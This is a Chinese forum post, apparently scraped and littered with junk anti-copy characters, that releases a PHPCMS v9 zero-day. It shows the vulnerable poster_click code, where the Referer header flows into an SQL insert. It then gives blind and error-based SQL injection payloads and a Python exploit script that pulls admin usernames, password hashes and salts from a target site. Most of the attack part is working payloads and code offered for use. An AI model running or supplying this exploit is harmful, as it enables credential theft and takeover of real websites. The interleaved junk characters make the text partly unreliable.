有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
2 t7 v T6 P. d+ X4 T# a2 N, [5 t& w' {4 E$ ^
问题函数\phpcms\modules\poster\index.php3 s7 |: e- ~3 X# B! V+ U3 s
+ I2 l& _3 a5 P2 W& Npublic function poster_click() {: p" Q0 G: U8 G
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$ I" }. y; ~8 C H; R! W3 f$r = $this->db->get_one(array('id'=>$id));
f1 \ _* I: O* E6 C( fif (!is_array($r) && empty($r)) return false;
+ J& y2 W' T4 m& Q# t: p$ip_area = pc_base::load_sys_class('ip_area');
! L: F V5 b% H- E5 e! ^7 I1 V$ip = ip();8 F0 S1 X4 r1 n3 v: d% y
$area = $ip_area->get($ip);5 f+ v' G( E1 x: j
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
( j( U5 \8 ~0 h; B1 j* Uif($id) {
8 a" A2 I' i7 R* f2 l3 X& {$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();( n3 v8 y) S0 A/ X7 a
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
6 b" x( _$ E( q4 i6 g9 P}& ?4 p2 G* k" N* g* }: ?0 X1 I* s
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
+ u% b& O* d9 i) K# E$setting = string2array($r['setting']);2 ^4 |4 Q9 {* l: u* V+ b$ v: h
if (count($setting)==1) {
; B/ e: @5 G( F9 r. R$url = $setting['1']['linkurl'];. ]8 h6 I, }, Q
} else {$ T2 J. J' c' \5 J
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
- F; W- b+ b6 s9 w: c}9 Q! f: [+ I: d; ^* p
header('Location: '.$url);
4 F% {* ?# ~8 @ {3 x9 Z}
" j' |9 {1 ^+ W J: o. \, d. o+ x& q9 h: |$ D
d$ }+ R4 A# k6 o
$ j& O+ t, i3 O* u; `利用方式:
) ~% m+ m, o5 t& r0 W, b% K! W& S+ ~ G* ~, C6 I: L
1、可以采用盲注入的手法:+ \4 ~3 l/ _% e% I) C
$ r! ~) _4 J; h9 S: p
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
6 r* D, M7 P/ p$ m4 R$ R& T% A. ?% v& M8 M$ L) e
通过返回页面,正常与否一个个猜解密码字段。
* M, k3 R9 ~- M& h1 ?* H* f1 q( q. P8 Y( F% A
2、代码是花开写的,随手附上了:
: q% D0 {. V3 ~4 ?
0 t5 r, W6 H1 a1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
2 y8 W2 C9 a8 S7 R R. i6 E' b) q4 [: G/ `6 K5 f
此方法是爆错注入手法,原理自查。( Y8 q. d3 Z+ k; Z7 R1 t
6 J, H+ N6 j6 Z
' V2 h/ S: O+ `3 f6 s( u- e
# E5 A; }; i/ r0 z* s$ @1 b9 J- V
利用程序:
/ ?& S, A; q) l4 H7 U# a, d2 L0 Z+ s( M' S9 Y5 F; J
#!/usr/bin/env python" n0 N5 _6 S- L8 p
import httplib,sys,re( i( M$ m; V+ `
1 _& B4 Q7 { X$ V9 d
def attack():
2 `7 j+ }. h, A Tprint “Code by Pax.Mac Team conqu3r!”
1 f& N3 u: B5 v4 X/ t, cprint “Welcome to our zone!!!”" ]4 K. Z' h$ I/ s
url=sys.argv[1]$ K6 F& C' w2 V C8 B V
paths=sys.argv[2]
" F; D0 Q/ B3 v6 D& P; Fconn = httplib.HTTPConnection(url)6 C4 a8 D; D" h0 @
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,6 i) Z0 b3 v! [$ L+ v
“Accept”: “text/plain”,! E6 R* g( l; X' t+ K
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}* `3 W: z" ?2 `. S6 \6 M( t8 `
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
8 C" @" \* ?% C) C% d: Lr1 = conn.getresponse()
3 ]* g) k" u/ w) E! vdatas=r1.read()
+ P+ x E+ x5 F4 Ldatas=re.findall(r”Duplicate entry \’\w+’”, datas)
, r9 Y5 {! i! X& j Y Xprint datas[0]7 H+ C6 A, }: W! |/ ~
conn.close()
/ v3 ^ M7 s6 N- q" Xif __name__==”__main__”:
- m1 n9 I* X/ A- ]& z0 Z9 b; }if len(sys.argv)<3:1 N* o' k% k0 S% F* z3 k
print “Code by Pax.Mac Team conqu3r”
4 U( D3 u8 V* K# x9 k7 ~% lprint “Usgae:”6 p. e5 @) B: N8 ?" Z
print “ phpcmsattack.py www.paxmac.org /”& H$ Y3 v, J1 R' i! J0 a! f
print “ phpcmsataack.py www.paxmac.org /phpcmsv9/”: ?% M/ Z9 ?+ J% O
sys.exit(1)
! L6 T' U3 g4 u+ n5 N* xattack()- x h5 E: V$ m7 g! `
: C! k7 W8 R! M" i
|